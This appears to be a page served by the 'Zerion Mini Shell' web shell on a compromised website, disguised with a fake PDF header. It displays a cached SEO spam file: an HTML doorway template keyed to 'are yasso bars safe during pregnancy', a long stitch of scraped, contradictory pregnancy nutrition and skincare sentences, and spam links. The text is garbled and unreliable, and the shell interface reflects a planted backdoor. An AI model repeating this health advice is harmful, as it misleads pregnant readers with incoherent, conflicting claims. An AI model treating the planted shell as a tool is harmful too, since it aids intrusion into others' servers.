%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/digiprint/public/site/t4zy77w0/cache/
Upload File :
Create Path :
Current File : /var/www/html/digiprint/public/site/t4zy77w0/cache/876fce41bd936aab5bff9e35e49df17c

a:5:{s:8:"template";s:7286:"<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<title>{{ keyword }}</title>
<link href="//fonts.googleapis.com/css?family=Lato%3A300%2C400%7CMerriweather%3A400%2C700&amp;ver=5.4" id="siteorigin-google-web-fonts-css" media="all" rel="stylesheet" type="text/css"/>
<style rel="stylesheet" type="text/css">html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}footer,header,nav{display:block}a{background-color:transparent}svg:not(:root){overflow:hidden}button{color:inherit;font:inherit;margin:0}button{overflow:visible}button{text-transform:none}button{-webkit-appearance:button;cursor:pointer}button::-moz-focus-inner{border:0;padding:0}html{font-size:93.75%}body,button{color:#626262;font-family:Merriweather,serif;font-size:15px;font-size:1em;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:auto;font-weight:400;line-height:1.8666}.site-content{-ms-word-wrap:break-word;word-wrap:break-word}html{box-sizing:border-box}*,:after,:before{box-sizing:inherit}body{background:#fff}ul{margin:0 0 2.25em 2.4em;padding:0}ul li{padding-bottom:.2em}ul{list-style:disc}button{background:#fff;border:2px solid;border-color:#ebebeb;border-radius:0;color:#2d2d2d;font-family:Lato,sans-serif;font-size:13.8656px;font-size:.8666rem;line-height:1;letter-spacing:1.5px;outline-style:none;padding:1em 1.923em;transition:.3s;text-decoration:none;text-transform:uppercase}button:hover{background:#fff;border-color:#24c48a;color:#24c48a}button:active,button:focus{border-color:#24c48a;color:#24c48a}a{color:#24c48a;text-decoration:none}a:focus,a:hover{color:#00a76a}a:active,a:hover{outline:0}.main-navigation{align-items:center;display:flex;line-height:1}.main-navigation:after{clear:both;content:"";display:table}.main-navigation>div{display:inline-block}.main-navigation>div ul{list-style:none;margin:0;padding-left:0}.main-navigation>div li{float:left;padding:0 45px 0 0;position:relative}.main-navigation>div li:last-child{padding-right:0}.main-navigation>div li a{text-transform:uppercase;color:#626262;font-family:Lato,sans-serif;font-size:.8rem;letter-spacing:1px;padding:15px;margin:-15px}.main-navigation>div li:hover>a{color:#2d2d2d}.main-navigation>div a{display:block;text-decoration:none}.main-navigation>div ul{display:none}.menu-toggle{display:block;border:0;background:0 0;line-height:60px;outline:0;padding:0}.menu-toggle .svg-icon-menu{vertical-align:middle;width:22px}.menu-toggle .svg-icon-menu path{fill:#626262}#mobile-navigation{left:0;position:absolute;text-align:left;top:61px;width:100%;z-index:10}.site-content:after:after,.site-content:before:after,.site-footer:after:after,.site-footer:before:after,.site-header:after:after,.site-header:before:after{clear:both;content:"";display:table}.site-content:after,.site-footer:after,.site-header:after{clear:both}.container{margin:0 auto;max-width:1190px;padding:0 25px;position:relative;width:100%}@media (max-width:480px){.container{padding:0 15px}}.site-content:after{clear:both;content:"";display:table}#masthead{border-bottom:1px solid #ebebeb;margin-bottom:80px}.header-design-2 #masthead{border-bottom:none}#masthead .sticky-bar{background:#fff;position:relative;z-index:101}#masthead .sticky-bar:after{clear:both;content:"";display:table}.sticky-menu:not(.sticky-bar-out) #masthead .sticky-bar{position:relative;top:auto}#masthead .top-bar{background:#fff;border-bottom:1px solid #ebebeb;position:relative;z-index:9999}#masthead .top-bar:after{clear:both;content:"";display:table}.header-design-2 #masthead .top-bar{border-top:1px solid #ebebeb}#masthead .top-bar>.container{align-items:center;display:flex;height:60px;justify-content:space-between}#masthead .site-branding{padding:60px 0;text-align:center}#masthead .site-branding a{display:inline-block}#colophon{clear:both;margin-top:80px;width:100%}#colophon .site-info{border-top:1px solid #ebebeb;color:#626262;font-size:13.8656px;font-size:.8666rem;padding:45px 0;text-align:center}@media (max-width:480px){#colophon .site-info{word-break:break-all}}@font-face{font-family:Lato;font-style:normal;font-weight:300;src:local('Lato Light'),local('Lato-Light'),url(http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh7USSwiPHA.ttf) format('truetype')}@font-face{font-family:Lato;font-style:normal;font-weight:400;src:local('Lato Regular'),local('Lato-Regular'),url(http://fonts.gstatic.com/s/lato/v16/S6uyw4BMUTPHjx4wWw.ttf) format('truetype')}@font-face{font-family:Merriweather;font-style:normal;font-weight:400;src:local('Merriweather Regular'),local('Merriweather-Regular'),url(http://fonts.gstatic.com/s/merriweather/v21/u-440qyriQwlOrhSvowK_l5-fCZJ.ttf) format('truetype')}@font-face{font-family:Merriweather;font-style:normal;font-weight:700;src:local('Merriweather Bold'),local('Merriweather-Bold'),url(http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52xwNZWMf_.ttf) format('truetype')} </style>
 </head>
<body class="cookies-not-set css3-animations hfeed header-design-2 no-js page-layout-default page-layout-hide-masthead page-layout-hide-footer-widgets sticky-menu sidebar wc-columns-3">
<div class="hfeed site" id="page">
<header class="site-header" id="masthead">
<div class="container">
<div class="site-branding">
<a href="#" rel="home">
{{ keyword }}</a> </div>
</div>
<div class="top-bar sticky-bar sticky-menu">
<div class="container">
<nav class="main-navigation" id="site-navigation" role="navigation">
<button aria-controls="primary-menu" aria-expanded="false" class="menu-toggle" id="mobile-menu-button"> <svg class="svg-icon-menu" height="32" version="1.1" viewbox="0 0 27 32" width="27" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<path d="M27.429 24v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804zM27.429 14.857v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804zM27.429 5.714v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804z"></path>
</svg>
</button>
<div class="menu-menu-1-container"><ul class="menu" id="primary-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-20" id="menu-item-20"><a href="#">About</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-165" id="menu-item-165"><a href="#">Blog</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-24" id="menu-item-24"><a href="#">FAQ</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-22" id="menu-item-22"><a href="#">Contacts</a></li>
</ul></div> </nav>
<div id="mobile-navigation"></div>
</div>
</div>
</header>
<div class="site-content" id="content">
<div class="container">
{{ text }}
<br>
{{ links }}
</div>
</div>
<footer class="site-footer " id="colophon">
<div class="container">
</div>
<div class="site-info">
<div class="container">
{{ keyword }} 2021</div>
</div>
</footer>
</div>
</body>
</html>";s:4:"text";s:17449:"Oats are absolutely safe to be consumed during pregnancy. I noticed that they don’t really affect my numbers and they are so yummy. Adventame during pregnancy. "While many protein powders are considered safe during pregnancy, you want to avoid those that have added herbs and other ingredients that may be untested in pregnancy or even potentially harmful," according to Melissa Groves, RDN and owner of Avocado Grove Nutrition. • Be aware that some cheeses, such as … Indulge in a flavor-forward treat where spectacular and practical collide, made with quality ingredients, real Greek yogurt and rBST-free milk. Are RXBAR products safe to consume during pregnancy? Another study in BMC Medicine in February 2013 found that caffeine intake during pregnancy was associated with low birth weight and babies being small for gestational age. Of course it’s normal to want to stay in shape during pregnancy, and for women whose careers are image-based, such as bodybuilders, the pressures to stay fit can be enormous. We tried every Yasso flavor out there and now have an official BTD Yasso Flavor Bible. If you work as a nail technician and regularly apply acrylic nails, be aware that this may not be safe during pregnancy. I also eat small portions of frozen berries or peaches. Their history of being consumed for health benefits predates many other superfoods we have come to love, making them a reliable fruit choice.. They’re an important part of a healthy diet, packed with tons of nutrients vital for helping your body thrive. Are protein bars safe to eat during pregnancy?? Protein During Pregnancy Every cell in the human body contains protein.Here is a rule with protein bars. Explore our bar flavors. The most common side effects from the Tdap vaccine include Top of Page. Well, it turns out that they are actually DANGEROUS to eat! In fact, the IWSR (the most trusted, accurate and widely used source for beverage alcohol trends in the world) predicts that the low & no alcohol drinks market will grow by 31% in volume by 2024. 2 bars (110g) Nutrition Facts. The main thing to remember is that shakes vary in protein content. Available at Target starting at $8. This makes oats one of the top items in the list of food a pregnant woman should have . (19 weeks preg) I usually eat grenade carb killa high protein bars if any. Best Readymade Energy Drinks for Pregnant Women: 8. REVIEW: Yasso Frozen Greek Yogurt Bars When I was at the grocery store a couple weeks ago I saw that some of the generic Greek Yogurt was on sale. Plus, most kombucha drinks are unpasteurized, and as far as the FDA is concerned that's a no-no during pregnancy. Why you should avoid IV drips and B12 shots during pregnancy A healthy pregnancy is important for a healthy baby, and that means healthy nutrition. Okay during pregnancy. In most cases, you can receive one of our IV therapy packages during pregnancy. You may find that your nails are stronger and healthier during your pregnancy anyway, so you won't need false nails. Insane flavors collide with the creamy goodness of Greek yogurt. Protein bars are marketed as healthy snacks and even meal replacements, but that doesn’t mean, as a pregnant woman, they’re all safe. I am freaking out! Do not over-exfoliate. Just wondering if this is safe? In addition, during pregnancy, some women feel strong urges to eat non-food items such as ice, laundry starch, dirt, clay, chalk, ashes, or paint chips. Browse our wide selection of Novelty Ice Cream & Bars for Delivery or Drive Up & Go to pick up at the store! Low-calorie, high-protein desserts. Avoid hot baths or showers. See more We use USDA-inspected dried egg whites that go through a high-heat pasteurization process, which ensures they are shelf stable and safe … All Yasso bar flavors are gluten-free except: Chocolate Chip Cookie Dough, Cookies n’ Cream and Fudge Brownie. Is Yasso kosher certified? All Yasso products are Kosher certified by the Orthodox Union. Squats during pregnancy, should you squat when you are pregnant? 100% Whey-Based Protein Powders. They also said to ask about ones that have too strong an oil, but that was it. 1. Are All Shampoos and Conditioners Safe to Use During Pregnancy? Here are the brands, flavors of protein shakes and bars that can be eaten during pregnancy. The Ultimate List of Healthy Pregnancy Snacks: 50+ Healthy Snacks for Moms to Be . It is safe during pregnancy in moderation. Yes! Log food: Yasso Mint Chocolate Crunch Dipped Greek Yogurt Bar. I’d like to think it’s official at this point: I’m the girl who always talks about Yasso. They can be added to water, top salads, or to flavor baked goods. The risk can be Happy Baby Organic Greek Yogis Freeze-Dried Greek Yogurt and Fruit Snacks Strawberry/Banana, 1 Ounce Bag (Packaging May Vary) Yasso Chocolate Sea Salt Caramel Frozen Greek Yogurt Candy Bar. Pregnancy multivitamins contain a type of vitamin A called beta carotene that is safe even in high doses. Yasso Frozen Yogurt Pops. Yasso's all-natural, protein-packed Greek yogurt bars are a healthy and delectable alternative to ice cream on a stick. The Greek yogurt makes these bars exceptional -- not only for that hefty dose of protein (5 grams!), but also for its rich, creamy texture. Well, at least if you follow me on Instagram to ANY degree, then you’ve heard how obsessed I am with Yasso’s frozen Greek yogurt. 3. How Yasso Is Staying Safe During COVID-19 At Yasso the health and safety of our employees, our partners and our consumers is our top priority and we would like to take this opportunity to provide you with an update on actions we are taking to ensure we are conducting business safely and thoughtfully during … While we’d all … Thankfully, it looks like y’all are huge fans too! together we are #BoulderStrong Our hearts go out to the victims of the King Soopers tragedy and their families. In simple terms: There is no scientific evidence that … I've used MusclePharm 100% Whey Isolate in shakes and bakes throughout my pregnancy and have done a much better job getting enough protein this time around. In July 2017 Babies. Most foods and drinks are safe to have during pregnancy. … Buy from Amazon. When they’re not topped with fattening dressings, salads are generally a smart meal choice during pregnancy because they are packed with the nutrients your baby needs to develop. Avoid ingredients that can strip the natural oils of the skin. Log food: Yasso Blueberry Frozen Greek Yogurt. All you need is fudge. Mannitol during pregnancy A facialist’s pregnancy skin-care regimen 1. Shop Yasso Frozen Yogurt Greek Bars Fudge Brownie - 4-3.5 Fl. Pregnancy safe beauty products can be super difficult and confusing. Dh said the snickers marathon bars are really good. Designer Whey® takes it to the next level with our premium 100% natural whey protein – free of artificial growth hormones + antibiotics. I have an entire guide devoted to what products are safe to use while pregnant including information on what ingredients to avoid while pregnant and a huge list of pregnancy safe skincare products.The list has gotten so large that I’ve decided to start listing brands in their own individual posts. Homemade trail mix using your favorite nuts, seeds, dried fruit, and some dark chocolate chips. Pregnancy safe beauty products can be super difficult and confusing. Next Article in Topic; Do Built Bars need to be refrigerated? Puracy Natural Body Wash, Citrus & Sea Salt, Bath & Shower Gel for Men and Women. Browse our wide selection of Novelty Ice Cream & Bars for Delivery or Drive Up & Go to pick up at the store! Top 10 Best Body Washes & Soaps for Pregnancy 1. i am 16 weeks pregnnat and i want to know the precautions i need to take safe pregnancy during corona 2 doctor answers • 3 doctors weighed in 90,000 U.S. doctors in 147 specialties are here to answer your questions or … Pregnancy safe skincare can be super difficult and confusing. There's also a 1800 number on the package that you could call. The heat of the sun can make the skin extra-sensitive. Just ask when you go in. Only 18 left in stock - order soon. The bath ones are totally fine. It’s recommended that pregnant women skip the fresh juice provided at juice bars, restaurants, and other places that sell freshly squeezed juice because the juice is unpasteurized. A few days ago I posted my basic ground rules for safely using herbs during pregnancy. PREGNANCY See All PREGNANCY ... Yasso's all-natural, protein-packed Greek yogurt bars are a healthy and delectable alternative to ice cream on a stick. Mocha almond Kind bars. Yasso can be found at major grocery and club stores nationwide, and is an active, positive contributor to the community via its Game On! For a wide assortment of Yasso visit Target.com today. • Do not eat soft cheeses, such as queso fresco, while pregnant, unless they are made with pasteurized milk, to lower the risk of getting infection from Listeria or other foodborne germs. Avoid lying on your back for more than a minute or two. Perfect Bar Peanut Butter Protein Bars. The fermentation process results in naturally occurring alcohol that may range from 0.5 percent to up to 3 percent (as high as some beers). But there are some things you should be careful with or avoid. In 2014, the FDA approved advantame as a non-nutritive sweetener and flavor enhancer within the U.S. in foods generally, except meat and poultry. Pregnant women can have up to 200mg of caffeine and, therefore, it is completely fine to consume hot chocolate in moderate amounts. Okay during pregnancy. Some protein bars include herbs and other supplements that are not healthy for pregnant women. If you want to eat energy bars during your pregnancy, talk to your doctor to make sure the type of bar you are choosing is safe. I ate a fiber one bar tonight for a snack (the only one I've had this entire pregnancy) and then out of curiosity I googled fiber one bars and pregnancy to see if they were suggested for constipation relief. Oz. I have only eaten a few during this pregnancy but researched yesterday and seen conflicting views. Dessert lovers, I think we finally found the one So dig in and let the chocolate fudge fly. But I really enjoy Yasso Greek yogurt ice cream bars. healio.com No amount of caffeine consumption is safe during pregnancy, according to research published in the BMJ Evidence-Based Medicine. Or choose healthy alternatives for daily snacking, such as fresh fruit, low-fat string cheese, homemade trail mix with nuts and dried fruit, or granola bars without added vitamins and … ... @Lemonicelolly1 no worries  I've also been using them every now and then throughout pregnancy as well as their pregnancy massage bar, gotta have a bit of pampering during the glamour that is pregnancy! They are quite an … How do i remain safe during this corona times? Many protein bars are safe during pregnancy, but not all. NSAIDs are definitely not recommended during the last 3 months of your pregnancy because they can cause a blood vessel in your baby’s heart to close before it should. Foods to avoid when eating at restaurants during pregnancy How to eat healthy at restaurants during pregnancy Whether it's takeout, a quick lunch on the run or a five-course feast at a four-star restaurant, there will be plenty of times during your pregnancy when you'll be doing the eating — but not the cooking. - Not all hair care products are safe to use during pregnancy. Pregnancy doesn’t cause this skin problem, but if you already have it, the scaly, red patches on your body might get worse. So it’s very important that you take into account sugar, caffeine and herbal ingredients before choosing a protein bar to snack on. Quest Protein Bars and Shakes. 100% of online … Unless your doctor advises you against it, sexual intercourse is okay during pregnancy. Browse our wide selection of Novelty Ice Cream & Bars for Delivery or Drive Up & Go to pick up at the store! A similar serving of chocolate ice cream (I compared one bar to the same product weight for Breyers Chocolate ice cream) has 140 calories and only 2 grams of protein. No & Low alcohol drinks have seen a surge in popularity in recent years, which is not surprising given that we live in an ever-increasingly health conscious society. We recommend that you put it in an open area, ideally outside or in a garage away from the reach of children and pets. In recent months the Centers for Disease Control and Prevention has reported more than 1,000 cases of lung injury tied to vaping, mostly involving products that contain tetrahydrocannabinol (THC). Freshly squeezed juices and smoothies are safe during pregnancy, but making these drinks at home is preferred instead of buying them at a restaurant or juice bar. 4. You’re going to … There is no shortage of pregnancy nutrition on the market, and while most pregnancy nutrition bars are perfectly safe, you can get plenty of nutrition without them. Adventame is actually 100 times sweeter than aspartame — a pretty sweet sweetener! Alcohol intake during pregnancy has been linked to fetal alcohol syndrome. 2. Pregnant moms change their diets and seek out prenatal vitamins and other supplements to support a healthy pregnancy and ensure their unborn child is as healthy as can be. Right?! Oats are known to contain a lot of important nutrients that are quite essential for a budding mother in the prenatal stage. In fact, there's some evidence that eating chocolate during pregnancy could lower your risk of preeclampsia and gestational hypertension.. One study found that eating a small amount of dark chocolate every day starting in the first trimester improved blood flow to the fetus. See More: Safe Herbal Teas During Pregnancy. Move very gently during hip openers to avoid overstretching in the groin and hips. Please take a break to walk around during car rides or walk in the aisle of the airplane when it is safe. Flu Shot KIND bar. Lemons as with the majority of fruits are safe to consume during pregnancy and can provide nutritional value. Have used lush bath bombs during my pregnancy and it didn't even cross my mind they wouldn't be safe . I have been eating a lot of quest bars. Alcohol: If there is one consensus in the pregnancy community, it is that alcohol is not safe to drink during pregnancy. So, I took a leaf out of her book during my second pregnancy and made sure to eat more protein. I could … READ … Be safe when you are out. Hi, I went to LUSh recently and got a few balls that go in the bath and a massage bar and they told me when I asked if they are safe for pregnancy that almost all their products are safety approved for pregnancy. Drinking alcohol during pregnancy leads to a higher risk of miscarriage and stillbirth. Our medics will get to understand your health profile to find a safe option. Here we have another controversial topic… weightlifting during pregnancy. Sorry girls who love their morning coffee! Drinking alcohol may also result in fetal alcohol syndrome, which can cause facial deformities and intellectual disability. While barre is generally considered very safe when you're expecting, you should never start any new exercise routine during pregnancy without your doctor's approval first. If you are at all worried, you can either have your nails filed off at a beauty salon, or go natural. from Safeway. If you want to eat energy bars during your pregnancy, talk to your doctor to make sure the type of bar you are choosing is safe. Find out what shampoo and conditioner ingredient could be harmful to baby, so you can avoid them. Food contamination Some types of food poisoning organisms can cause problems during pregnancy. Pregnancy safe protein shakes and bars. They are really high in protein and taste great. There are few, if any, published reports on an adverse association between sushi and bad pregnancy outcomes. from Safeway. Some protein bars … Shop Yasso Yogurt Bars Frozen Greek Coffee Chocolate Chip - 4-3.5 Fl. Protein bars often have high sugar content, sometimes as high as a regular candy bar. Cheese, milk and other dairy ... less than 10mg in a 50g bar of plain milk chocolate; Alcohol. Are the bars ok to eat during pregnancy? Is fish safe during pregnancy? What Salads Are Safe to Eat When Pregnant?. Walking during pregnancy is a moderate aerobic activity that doctors recommend to most folks because it’s safe, effective, and accessible. This drug is safe in all way, but if you are planning about pregnancy, then you have to consider few things before taking this medicine as it may cause some adverse effects on your body. Are Dates Safe During Pregnancy? Protein bars that are high in sugar or contain caffeine or herbal ingredients should be avoided during pregnancy. I have an entire guide devoted to what products are safe to use while pregnant including information on what ingredients to avoid while pregnant and a huge list of pregnancy safe skincare products.The list has gotten so large that I’ve decided to start listing brands in their own individual posts. There is nothing artificial added too the bars and have all natural ingredients, packed with protein that's needed by both mommy and baby! We blended decadent cocoa powder with creamy frozen Greek yogurt for 6g of protein and 80 calories each. This is true not only for the face but also for the whole body. ";s:7:"keyword";s:36:"are yasso bars safe during pregnancy";s:5:"links";s:810:"<a href="http://digiprint.coding.al/site/t4zy77w0/christening-boutique-near-me">Christening Boutique Near Me</a>,
<a href="http://digiprint.coding.al/site/t4zy77w0/nebraska-hurricane-2021">Nebraska Hurricane 2021</a>,
<a href="http://digiprint.coding.al/site/t4zy77w0/how-to-mute-phone-calls-on-android">How To Mute Phone Calls On Android</a>,
<a href="http://digiprint.coding.al/site/t4zy77w0/cultural-intelligence-test-pdf">Cultural Intelligence Test Pdf</a>,
<a href="http://digiprint.coding.al/site/t4zy77w0/australian-mathematics-trust">Australian Mathematics Trust</a>,
<a href="http://digiprint.coding.al/site/t4zy77w0/desene-animate-in-romana">Desene Animate In Romana</a>,
<a href="http://digiprint.coding.al/site/t4zy77w0/do-customers-get-rated-on-uber-eats">Do Customers Get Rated On Uber Eats</a>,
";s:7:"expired";i:-1;}

Zerion Mini Shell 1.0